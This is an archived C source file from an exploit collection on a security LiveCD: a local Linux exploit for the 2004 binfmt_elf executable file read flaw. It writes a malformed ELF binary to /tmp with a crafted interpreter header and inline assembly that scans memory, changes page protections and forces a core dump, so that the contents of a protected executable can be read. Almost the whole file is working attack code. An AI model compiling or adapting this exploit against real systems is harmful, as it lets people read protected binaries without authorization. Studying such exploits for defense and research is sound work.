home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / exbinfmt.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  169 lines

  1. /*
  2.  *
  3.  *    binfmt_elf executable file read vulnerability
  4.  *
  5.  *    gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump
  6.  *
  7.  *    Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
  8.  *
  9.  *    THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
  10.  *    AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
  11.  *    WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
  12.  *
  13.  *             http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt
  14.  */
  15.  
  16.  
  17.  
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <string.h>
  21. #include <fcntl.h>
  22. #include <unistd.h>
  23.  
  24. #include <sys/types.h>
  25. #include <sys/resource.h>
  26. #include <sys/wait.h>
  27.  
  28. #include <linux/elf.h>
  29.  
  30.  
  31. #define BADNAME "/tmp/_elf_dump"
  32.  
  33.  
  34.  
  35. void usage(char *s)
  36. {
  37.     printf("\nUsage: %s executable\n\n", s);
  38.     exit(0);
  39. }
  40.  
  41. //    ugly mem scan code :-)
  42. static volatile void bad_code(void)
  43. {
  44. __asm__(
  45. //        "1:        jmp 1b \n"
  46.         "        xorl    %edi, %edi        \n"
  47.         "        movl    %esp, %esi        \n"
  48.         "        xorl    %edx, %edx        \n"
  49.         "        xorl    %ebp, %ebp        \n"
  50.         "        call    get_addr        \n"
  51.  
  52.         "        movl    %esi, %esp        \n"
  53.         "        movl    %edi, %ebp        \n"
  54.         "        jmp    inst_sig        \n"
  55.  
  56.         "get_addr:    popl    %ecx            \n"
  57.  
  58. //    sighand
  59.         "inst_sig:    xorl    %eax, %eax        \n"
  60.         "        movl    $11, %ebx        \n"
  61.         "        movb    $48, %al        \n"
  62.         "        int    $0x80            \n"
  63.  
  64.         "ld_page:    movl    %ebp, %eax        \n"
  65.         "        subl    %edx, %eax        \n"
  66.         "        cmpl    $0x1000, %eax        \n"
  67.         "        jle    ld_page2        \n"
  68.  
  69. //    mprotect
  70.         "        pusha                \n"
  71.         "        movl    %edx, %ebx        \n"
  72.         "        addl     $0x1000, %ebx        \n"
  73.         "        movl    %eax, %ecx        \n"
  74.         "        xorl    %eax, %eax        \n"
  75.         "        movb    $125, %al        \n"
  76.         "        movl    $7, %edx        \n"
  77.         "        int    $0x80            \n"
  78.         "        popa                \n"
  79.  
  80.         "ld_page2:    addl    $0x1000, %edi        \n"
  81.         "        cmpl    $0xc0000000, %edi    \n"
  82.         "        je    dump            \n"
  83.         "        movl    %ebp, %edx        \n"
  84.         "        movl    (%edi), %eax        \n"
  85.         "        jmp    ld_page            \n"
  86.  
  87.         "dump:        xorl    %eax, %eax        \n"
  88.         "        xorl    %ecx, %ecx        \n"
  89.         "        movl    $11, %ebx        \n"
  90.         "        movb    $48, %al        \n"
  91.         "        int    $0x80            \n"
  92.         "        movl    $0xdeadbeef, %eax    \n"
  93.         "        jmp    *(%eax)            \n"
  94.  
  95.     );
  96. }
  97.  
  98.  
  99. static volatile void bad_code_end(void)
  100. {
  101. }
  102.  
  103.  
  104. int main(int ac, char **av)
  105. {
  106. struct elfhdr eh;
  107. struct elf_phdr eph;
  108. struct rlimit rl;
  109. int fd, nl, pid;
  110.  
  111.     if(ac<2)
  112.         usage(av[0]);
  113.  
  114. //    make bad a.out
  115.     fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
  116.     nl = strlen(av[1])+1;
  117.     memset(&eh, 0, sizeof(eh) );
  118.  
  119. //    elf exec header
  120.     memcpy(eh.e_ident, ELFMAG, SELFMAG);
  121.     eh.e_type = ET_EXEC;
  122.     eh.e_machine = EM_386;
  123.     eh.e_phentsize = sizeof(struct elf_phdr);
  124.     eh.e_phnum = 2;
  125.     eh.e_phoff = sizeof(eh);
  126.     write(fd, &eh, sizeof(eh) );
  127.  
  128. //    section header(s)
  129.     memset(&eph, 0, sizeof(eph) );
  130.     eph.p_type = PT_INTERP;
  131.     eph.p_offset = sizeof(eh) + 2*sizeof(eph);
  132.     eph.p_filesz = nl;
  133.     write(fd, &eph, sizeof(eph) );
  134.  
  135.     memset(&eph, 0, sizeof(eph) );
  136.     eph.p_type = PT_LOAD;
  137.     eph.p_offset = 4096;
  138.     eph.p_filesz = 4096;
  139.     eph.p_vaddr = 0x0000;
  140.     eph.p_flags = PF_R|PF_X;
  141.     write(fd, &eph, sizeof(eph) );
  142.  
  143. //    .interp
  144.     write(fd, av[1], nl );
  145.  
  146. //    execable code
  147.     nl = &bad_code_end - &bad_code;
  148.     lseek(fd, 4096, SEEK_SET);
  149.     write(fd, &bad_code, 4096);
  150.     close(fd);
  151.  
  152. //    dump the shit
  153.     rl.rlim_cur = RLIM_INFINITY;
  154.     rl.rlim_max = RLIM_INFINITY;
  155.     if( setrlimit(RLIMIT_CORE, &rl) )
  156.         perror("\nsetrlimit failed");
  157.     fflush(stdout);
  158.     pid = fork();
  159.     if(pid)
  160.         wait(NULL);
  161.     else
  162.         execl(BADNAME, BADNAME, NULL);
  163.  
  164.     printf("\ncore dumped!\n\n");
  165.     unlink(BADNAME);
  166.  
  167. return 0;
  168. }
  169.